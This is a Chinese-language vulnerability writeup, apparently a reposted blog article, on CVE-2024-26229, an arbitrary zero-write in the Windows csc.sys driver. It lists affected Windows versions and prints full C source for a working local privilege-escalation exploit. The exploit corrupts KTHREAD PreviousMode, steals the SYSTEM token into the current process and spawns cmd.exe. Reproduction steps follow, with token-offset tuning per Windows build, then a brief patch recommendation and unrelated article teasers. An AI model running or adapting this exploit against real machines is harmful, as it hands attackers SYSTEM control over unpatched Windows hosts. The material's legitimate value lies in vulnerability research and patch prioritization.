Windows CSC服务权限提升漏洞(CVE-2024-26229)

news2024/10/11 18:40:45

一、漏洞描述

csc.sys驱动程序中带有METHOD_NEITHER I/O控制代码的IOCTL地址验证不正确,导致任意地址写零漏洞。攻击者在Windows上获得较低权限的任意代码执行后,可以利用该漏洞将低权限提升至system权限。

二、漏洞详情

该漏洞源于 csc.sys 驱动程序在处理 METHOD_NEITHER 类型的 I/O 控制代码 (IOCTL) 请求时对用户传入的地址验证不充分。METHOD_NEITHER 是一种 I/O 数据传递方法,它允许驱动程序直接访问用户模式缓冲区,而无需系统提供的安全检查,这为恶意攻击者提供了机会。

具体而言,csc.sys 驱动程序使用了 METHOD_NEITHER 传递方式来处理某些 IOCTL 请求,但并未正确验证用户传递的指针是否是合法的内存地址。这使得攻击者可以通过构造恶意的 IOCTL 请求来将任意地址写入零值,进而修改内核数据结构。

三、影响范围

Windows Server 2022, 23H2 Edition (Server Core installation)
Windows Server 2012 R2
Windows Server 2012 (Server Core installation)
Windows Server 2012
Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)
Windows Server 2008 R2 for x64-based Systems Service Pack 1
Windows Server 2008 for x64-based Systems Service Pack 2 (Server Core installation)
Windows Server 2008 for x64-based Systems Service Pack 2
Windows Server 2008 for 32-bit Systems Service Pack 2 (Server Core installation)
Windows Server 2008 for 32-bit Systems Service Pack 2
Windows Server 2016 (Server Core installation)
Windows Server 2016
Windows 10 Version 1607 for x64-based Systems
Windows 10 Version 1607 for 32-bit Systems
Windows 10 for x64-based Systems
Windows 10 for 32-bit Systems
Windows 11 Version 23H2 for x64-based Systems
Windows 11 Version 23H2 for ARM64-based Systems
Windows 10 Version 22H2 for 32-bit Systems
Windows 10 Version 22H2 for ARM64-based Systems
Windows 10 Version 22H2 for x64-based Systems
Windows 11 Version 22H2 for x64-based Systems
Windows 11 Version 22H2 for ARM64-based Systems
Windows 10 Version 21H2 for x64-based Systems
Windows 10 Version 21H2 for ARM64-based Systems
Windows 10 Version 21H2 for 32-bit Systems
Windows 11 version 21H2 for ARM64-based Systems
Windows 11 version 21H2 for x64-based Systems
Windows Server 2012 R2 (Server Core installation)
Windows Server 2022 (Server Core installation)
Windows Server 2022
Windows Server 2019 (Server Core installation)
Windows Server 2019
Windows 10 Version 1809 for ARM64-based Systems
Windows 10 Version 1809 for x64-based Systems
Windows 10 Version 1809 for 32-bit Systems

四、漏洞POC

#include <Windows.h>
#include <stdio.h>
#include <winternl.h>
#include <stdint.h>

#define STATUS_SUCCESS 0

#define NtCurrentProcess() ((HANDLE)(LONG_PTR)-1)
#define EPROCESS_TOKEN_OFFSET			0x4B8
#define KTHREAD_PREVIOUS_MODE_OFFSET	0x232
#define CSC_DEV_FCB_XXX_CONTROL_FILE    0x001401a3

#define SystemHandleInformation			0x10
#define SystemHandleInformationSize		0x400000

enum _MODE
{
	KernelMode = 0,
	UserMode = 1
};

typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO
{
	USHORT UniqueProcessId;
	USHORT CreatorBackTraceIndex;
	UCHAR ObjectTypeIndex;
	UCHAR HandleAttributes;
	USHORT HandleValue;
	PVOID Object;
	ULONG GrantedAccess;
} SYSTEM_HANDLE_TABLE_ENTRY_INFO, * PSYSTEM_HANDLE_TABLE_ENTRY_INFO;

typedef struct _SYSTEM_HANDLE_INFORMATION
{
	ULONG NumberOfHandles;
	SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[1];
} SYSTEM_HANDLE_INFORMATION, * PSYSTEM_HANDLE_INFORMATION;

typedef NTSTATUS(__stdcall* _NtWriteVirtualMemory)(HANDLE, PVOID, PVOID, ULONG, PULONG);
_NtWriteVirtualMemory pNtWriteVirtualMemory;

typedef NTSTATUS(__stdcall* _NtQuerySystemInformation)(SYSTEM_INFORMATION_CLASS, PVOID, ULONG, PULONG);
_NtQuerySystemInformation pNtQuerySystemInformation;

typedef NTSTATUS(__stdcall* _RtlInitUnicodeString)(PUNICODE_STRING, PCWSTR);
_RtlInitUnicodeString pRtlInitUnicodeString;

typedef NTSTATUS(__stdcall* _NtFsControlFile)(HANDLE, HANDLE, PIO_APC_ROUTINE, PVOID, PIO_STATUS_BLOCK, ULONG, PVOID, ULONG, PVOID, ULONG);
_NtFsControlFile pNtFsControlFile;

typedef NTSTATUS(__stdcall* _NtCreateFile)(PHANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES, PIO_STATUS_BLOCK, PLARGE_INTEGER, ULONG, ULONG, ULONG, ULONG, PVOID, ULONG);
_NtCreateFile pNtCreateFile;


int NtLoad() {
	HMODULE hModule = GetModuleHandle(L"ntdll.dll");

	if (hModule != 0) {
		pNtWriteVirtualMemory = (_NtWriteVirtualMemory)GetProcAddress(hModule, "NtWriteVirtualMemory");
		if (!pNtWriteVirtualMemory)
		{
			printf("[-] NtWriteVirtualMemory not loaded\n");
			return 1;
		}

		pNtQuerySystemInformation = (_NtQuerySystemInformation)GetProcAddress(hModule, "NtQuerySystemInformation");
		if (!pNtQuerySystemInformation)
		{
			printf("[-] NtQuerySystemInformation not loaded\n");
			return 1;
		}

		pRtlInitUnicodeString = (_RtlInitUnicodeString)GetProcAddress(hModule, "RtlInitUnicodeString");
		if (!pRtlInitUnicodeString)
		{
			printf("[-] RtlInitUnicodeString not loaded\n");
			return 1;
		}

		pNtFsControlFile = (_NtFsControlFile)GetProcAddress(hModule, "NtFsControlFile");
		if (!pNtFsControlFile)
		{
			printf("[-] NtFsControlFile not loaded\n");
			return 1;
		}

		pNtCreateFile = (_NtCreateFile)GetProcAddress(hModule, "NtCreateFile");
		if (!pNtCreateFile)
		{
			printf("[-] NtCreateFile not loaded\n");
			return 1;
		}
	}
	else
	{
		printf("[-] NTDLL not loaded\n");
		return 1;
	}
	return 0;
}

int GetObjPtr(_Out_ PULONG64 ppObjAddr, _In_ ULONG ulPid, _In_ HANDLE handle)

{
	int Ret = -1;
	PSYSTEM_HANDLE_INFORMATION pHandleInfo = 0;
	ULONG ulBytes = 0;
	NTSTATUS Status = STATUS_SUCCESS;

	while ((Status = pNtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemHandleInformation, pHandleInfo, ulBytes, &ulBytes)) == 0xC0000004L)
	{
		if (pHandleInfo != NULL)
			pHandleInfo = (PSYSTEM_HANDLE_INFORMATION)HeapReAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, pHandleInfo, (size_t)2 * ulBytes);
		else
			pHandleInfo = (PSYSTEM_HANDLE_INFORMATION)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, (size_t)2 * ulBytes);
	}

	if (Status != NULL)
	{
		Ret = Status;
		goto done;
	}

	for (ULONG i = 0; i < pHandleInfo->NumberOfHandles; i++)
	{
		if ((pHandleInfo->Handles[i].UniqueProcessId == ulPid) && (pHandleInfo->Handles[i].HandleValue == (unsigned short)handle))
		{
			*ppObjAddr = (ULONG64)pHandleInfo->Handles[i].Object;
			Ret = 0;
			break;
		}
	}

done:
	return Ret;
}

NTSTATUS Write64(_In_ uintptr_t* Dst, _In_ uintptr_t* Src, _In_ size_t Size)
{
	NTSTATUS Status = 0;
	size_t cbNumOfBytesWrite = 0;

	Status = pNtWriteVirtualMemory(GetCurrentProcess(), Dst, Src, Size, &cbNumOfBytesWrite);
	if (!NT_SUCCESS(Status))
		return -1;

	return Status;
}

NTSTATUS Exploit()
{
	UNICODE_STRING  objectName = { 0 };
	OBJECT_ATTRIBUTES objectAttr = { 0 };
	IO_STATUS_BLOCK iosb = { 0 };
	HANDLE handle;
	NTSTATUS status = 0;

	uintptr_t Sysproc = 0;
	uintptr_t Curproc = 0;
	uintptr_t Curthread = 0;
	uintptr_t Token = 0;

	HANDLE hCurproc = 0;
	HANDLE hThread = 0;
	uint32_t Ret = 0;
	uint8_t mode = UserMode;

	pRtlInitUnicodeString(&objectName, L"\\Device\\Mup\\;Csc\\.\\.");
	InitializeObjectAttributes(&objectAttr, &objectName, 0, NULL, NULL);

	status = pNtCreateFile(&handle, SYNCHRONIZE, &objectAttr, &iosb, NULL, FILE_ATTRIBUTE_NORMAL, 0, FILE_OPEN_IF, FILE_CREATE_TREE_CONNECTION, NULL, 0);
	if (!NT_SUCCESS(status))
	{
		printf("[-] NtCreateFile failed with status = %x\n", status);
		return status;
	}

	Ret = GetObjPtr(&Sysproc, 4, 4);
	if (Ret != NULL)
	{
		return Ret;
	}
	printf("[+] System EPROCESS address = %llx\n", Sysproc);

	hThread = OpenThread(THREAD_QUERY_INFORMATION, TRUE, GetCurrentThreadId());
	if (hThread != NULL)
	{
		Ret = GetObjPtr(&Curthread, GetCurrentProcessId(), hThread);
		if (Ret != NULL)
		{
			return Ret;
		}
		printf("[+] Current THREAD address = %llx\n", Curthread);
	}

	hCurproc = OpenProcess(PROCESS_QUERY_INFORMATION, TRUE, GetCurrentProcessId());
	if (hCurproc != NULL)
	{
		Ret = GetObjPtr(&Curproc, GetCurrentProcessId(), hCurproc);
		if (Ret != NULL)
		{
			return Ret;
		}
		printf("[+] Current EPROCESS address = %llx\n", Curproc);
	}

	status = pNtFsControlFile(handle, NULL, NULL, NULL, &iosb, CSC_DEV_FCB_XXX_CONTROL_FILE, /*Vuln arg*/ (void*)(Curthread + KTHREAD_PREVIOUS_MODE_OFFSET - 0x18), 0, NULL, 0);
	if (!NT_SUCCESS(status))
	{
		printf("[-] NtFsControlFile failed with status = %x\n", status);
		return status;
	}

	printf("[!] Leveraging DKOM to achieve LPE\n");
	printf("[!] Calling Write64 wrapper to overwrite current EPROCESS->Token\n");

	Write64(Curproc + EPROCESS_TOKEN_OFFSET, Sysproc + EPROCESS_TOKEN_OFFSET, 0x8);

	Write64(Curthread + KTHREAD_PREVIOUS_MODE_OFFSET, &mode, 0x1);

	system("cmd.exe");

	return STATUS_SUCCESS;
}


int main()
{
	if( NtLoad() ) return 1;
	NTSTATUS status = Exploit();
	return status;
}

五、复现步骤

下载公开的exp程序,进行x64编译。poc下载地址:https://github.com/RalfHacker/CVE-2024-26229-exploit。需要注意的是,Windows各个版本的EPROCESS_TOKEN_OFFSET可能不同,应该是从Win10 2004 (20H1)这个版本开始EPROCESS_TOKEN_OFFSET才发生的变化,之前的是0x360,之后的都是0x4b8。所以最好修改EPROCESS_TOKEN_OFFSET的值,编译0x360,0x4b8两个版本。

先运行命令sc qc csc命令查看服务是否启动,如果没启动,漏洞无法利用。SYSTEM_START表示可以利用。

运行编译后的程序,如果未报错,再输入whoami,如果输出中包含system,则漏洞利用成功。

下图为Win10 1909复现成功截图:

下图为Win11 21996复现成功截图:

六、修复方案

为了修复该漏洞,建议用户尽快应用微软发布的官方补丁。此外,用户应尽量避免直接运行不受信任的代码,特别是在服务器或高权限环境下,以减小漏洞被利用的风险。

七、参考链接

https://github.com/michredteam/PoC-26229

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2205482.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Zilliz获Forrester报告全球第一;OB支持向量能力;Azure发布DiskANN;阿里云PG发布内置分析引擎

重要更新 1. Azure发布PostgreSQL向量索引扩展DiskANN&#xff0c;声称在构建HNSW/IVFFlat索引上&#xff0c;速度、精准度都超越pg_vector&#xff0c;并解决了pg_vector长期存在的偶发性返回错误结果的问题( [1] )。 2. 阿里云RDS PostgreSQL 发布AP加速引擎&#xff08;rds…

【python实操】python小程序之继承

引言 python小程序之继承 文章目录 引言一、继承1.1 概念1.1.1 基本语法1.1.2 关键点解释1.1.3 示例1.1.4 总结 1.2 题目1.3 代码1.4 代码解释1.4.1 类定义1.4.2 对象创建与方法调用1.4.3 总结 二、思考 一、继承 1.1 概念 python 中的继承是一种强大的机制&#xff0c;它允许…

如何防止webpack打包被逆向?

webpack打包后的js代码&#xff0c;看起来很混乱&#xff0c;似乎源码得到了保护&#xff1f; 不然&#xff0c;因为webpack只是将多个文件合并到了一起&#xff0c;并没有多少保护代码的功能。 比如下面这个例子&#xff0c;该网站的js文件是经webpack打包编译后生成的&…

TextView把其它控件挤出屏幕的处理办法

1.如果TextView后面的控件是紧挨着TextView的&#xff0c;可以给TextView添加maxWidth限制其最大长度 上有问题的布局代码 <?xml version"1.0" encoding"utf-8"?> <layout xmlns:android"http://schemas.android.com/apk/res/android&qu…

动态爬虫管理平台构建与实现(论文+源码)_kaic

摘 要 随着互联网的迅速发展&#xff0c;Web的信息量越来越大。人们往往通过搜索引擎去从互联网上搜索想要的信息&#xff0c;比如:百度&#xff0c;谷歌&#xff0c;搜狗等。这类搜索引擎称之为通用搜索引擎&#xff0c;其为所有的用户所需的内容&#xff0c;但目前互联网上的…

【网络原理】TCP协议提高效率的秘密-滑动窗口机制

&#x1f490;个人主页&#xff1a;初晴~ &#x1f4da;相关专栏&#xff1a;计算机网络那些事 如果我们严格依照“确认应答”机制&#xff0c;针对每一个发送的数据段&#xff0c;都需要一个ACK确认应答&#xff0c;当收到ACK应答报文后&#xff0c;才继续发下一个报文。这样…

2025届计算机保研经验贴(末九→浙江大学软件学院)

燕园再美美不过宁波港&#xff0c;没到过浙软的人不会明了 软微已死&#xff0c;浙软当立&#xff01; 文章目录 一、个人情况二、保研历程1、去年今日2、前期准备3、夏令营天大智算软件所西交软本校浙江大学软件学院 4、预推免 三、后记链式反应9.28下午冥场面9.29博弈 浙软当…

ClickHouse 24.9 版本发布说明

本文字数&#xff1a;7295&#xff1b;估计阅读时间&#xff1a;19 分钟 作者&#xff1a;ClickHouse Team 本文在公众号【ClickHouseInc】首发 又到新版本发布的时间了&#xff01; 发布概要 本次ClickHouse 24.9 版本包含了23个新功能&#x1f381;、14项性能优化&#x1f6f…

[已解决] HttpMessageNotReadableException: JSON parse error: Unexpected character

[已解决] HttpMessageNotReadableException: JSON parse error: Unexpected character 文章目录 写在前面问题描述报错原因分析&#xff1a; 解决思路解决办法1. 检查并修复客户端的 JSON 数据格式2. 确认请求头的 Content-Type 设置正确3. 捕获并处理 HttpMessageNotReadableE…

三层b+树估算存储多少行数据

文章目录 B树结构图示估算方法(这里要以聚簇索引来看) B树结构图示 估算方法(这里要以聚簇索引来看) 非叶子节点数* 每个叶子结点记录总数 假设mysql 数据页&#xff0c;16kb&#xff0c;刚好对应B树的一个节点 每个叶子结点记录数&#xff0c; 叶子结点存储的是对应的原始数据…

项目常用版本控制管理工具

不仅仅是代码管理工具 gitHubgitcodeSVN gitHub https://github.com/ github gitcode https://gitcode.com/ gitcode SVN 图片: 带尺寸的图片: 居中的图片: 居中并且带尺寸的图片:

git--git reset

HEAD 单独一个HEAD eg:git diff HEAD 表示当前结点。 HEAD~ HEAD~只处理当前分支。 注意&#xff1a;master分支的上一个结点是tmp分支的所在的结点fc11b74, 79f109e才是master的第二个父节点。 HEAD~ 当前结点的父节点。 HEAD~1 当前结点的父节点。 HEAD~n 当前结点索…

Python 工具库每日推荐 【easyocr】

文章目录 引言Python OCR 工具库的重要性今日推荐:EasyOCR 工具库主要功能:使用场景:安装与配置快速上手示例代码代码解释实际应用案例案例:多语言名片信息提取案例分析高级特性自定义模型训练处理倾斜文本扩展阅读与资源优缺点分析优点:缺点:总结【 已更新完 TypeScript…

Qt实现侧边栏功能

本文介绍Qt实现侧边栏功能。 采用Qt进行界面应用程序开发时&#xff0c;经常遇到侧边栏功能实现&#xff0c;采用侧边栏可以将一些暂时不用到的功能隐藏&#xff0c;使用的时候点击一下相应的按钮即可弹出&#xff08;动画方式&#xff09;功能菜单。减少主界面控件数量&#…

JS | JS中类的 prototype 属性和__proto__属性

大多数浏览器的 ES5 实现之中&#xff0c;每一个对象都有__proto__属性&#xff0c;指向对应的构造函数的prototype属性。Class 作为构造函数的语法糖&#xff0c;同时有prototype属性和__proto__属性&#xff0c;因此同时存在两条继承链。 构造函数的子类有prototype属性。‌ …

搭建知识库:助力大健康零售电商的快速发展

一、大健康零售电商行业的快速发展及其对知识库的需求 随着互联网技术的飞速发展和人们对健康意识的显著提升&#xff0c;大健康零售电商行业迎来了前所未有的发展机遇。这一行业不仅涵盖了传统零售业的商品销售&#xff0c;还融入了健康管理、健康咨询、健康数据分析等多元化…

『网络游戏』数据库表格转储【25】

避免勿删数据库表格&#xff0c;可以将表格存储 放到桌面即可 现在将表格删除后点击 浏览桌面表格保存即可 修改客户端脚本&#xff1a;NetSvc.cs 目的是在数据库更新异常时弹出提示以便修改 本章结束

使用 Helsinki-NLP 中英文翻译本地部署 - python 实现

通过 Helsinki-NLP 本地部署中英文翻译功能。该开源模型性价比相对高&#xff0c;资源占用少&#xff0c;对于翻译要求不高的应用场景可以使用&#xff0c;比如单词&#xff0c;简单句式的中英文翻译。 该示例使用的模型下载地址&#xff1a;【免费】Helsinki-NLP中英文翻译本…

Pura 70系列和Pocket 2已支持升级尝鲜鸿蒙NEXT,报名教程在这里

相信不少关注鸿蒙 NEXT 的人都知道&#xff0c;10月8日起&#xff0c;华为开启了鸿蒙 NEXT 系统的公测&#xff0c;但有不少人不知道的是&#xff0c;除了公测的 Mate 60 和 Mate X5 两个系列的机型&#xff0c;还有两个系列的手机其实也可以提前升级体验鸿蒙 NEXT 系统。 Pur…

随时随地一键开播的云微客实景直播神器,你想要吗?

AI实景直播系统正在以自动化、智能化的特性&#xff0c;逐渐成为直播行业的新宠。在众人频繁使用手机的时代背景下&#xff0c;直播已经成为了大多数人娱乐的方式之一&#xff0c;然而传统的直播方式不仅操作繁琐而且人员成本也高&#xff1b;现在云微客实景直播不仅可以告别人…